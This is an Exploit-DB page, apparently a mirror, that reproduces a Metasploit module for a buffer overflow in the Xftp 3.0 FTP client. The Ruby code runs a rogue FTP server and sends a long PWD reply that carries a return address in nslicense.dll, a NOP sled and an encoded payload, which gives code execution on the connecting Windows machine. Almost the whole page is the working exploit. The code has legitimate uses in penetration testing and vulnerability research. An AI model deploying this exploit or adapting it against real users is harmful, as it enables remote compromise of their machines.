Xftp FTP Client 3.0 – PWD Remote Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-04-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16739/
  • ##
    # $Id: xftp_client_pwd.rb 9179 2010-04-30 08:40:19Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = NormalRanking
    
    	include Msf::Exploit::Remote::TcpServer
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Xftp FTP Client 3.0 PWD Remote Buffer Overflow Exploit',
    			'Description'=> %q{
    					This module exploits a buffer overflow in the Xftp 3.0 FTP client that is triggered
    				through an excessively long PWD message.
    			},
    			'Author' 	 =>
    				[
    					'zombiefx',# Original exploit author
    					'dookie' # MSF module author
    				],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 9179 $',
    			'References' =>
    				[
    					[ 'OSVDB', '63968'],
    					[ 'URL', 'http://www.exploit-db.com/exploits/12332' ],
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'seh',
    				},
    			'Payload'=>
    				{
    					'Space'=> 434,
    					'BadChars' => "\x00\x0a",
    					'StackAdjustment' => -3500,
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Windows Universal', { 'Ret' => 0x100123AF } ], # JMP ECX in nslicense.dll
    				],
    			'Privileged' => false,
    			'DisclosureDate' => 'Apr 22 2010',
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
    				OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),
    			], self.class)
    	end
    
    	def on_client_connect(client)
    		return if ((p = regenerate_payload(client)) == nil)
    
    		buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"
    		client.put(buffer)
    	end
    
    	def on_client_data(client)
    
    		# Get the client username
    		client.get_once
    
    		# Prompt the client for the password.
    		user = "331 Anonymous access allowed.\r\n"
    		client.put(user)
    		client.get_once
    
    		# Handle the clients PWD command.
    		pass = "230 Login successful.\r\n230 User logged in.\r\n"
    		client.put(pass)
    		client.get_once
    
    		# Send the exploit
    		sploit = "257 \"/"
    		sploit << rand_text_alpha_upper(1019)
    		sploit << [ target.ret ].pack('V')
    		sploit << make_nops(55)
    		sploit << payload.encoded
    		sploit << "\" is current directory.\r\n"
    
    		client.put(sploit)
    
    		# Get the CWD from the client
    		client.get_once
    
    	end
    
    end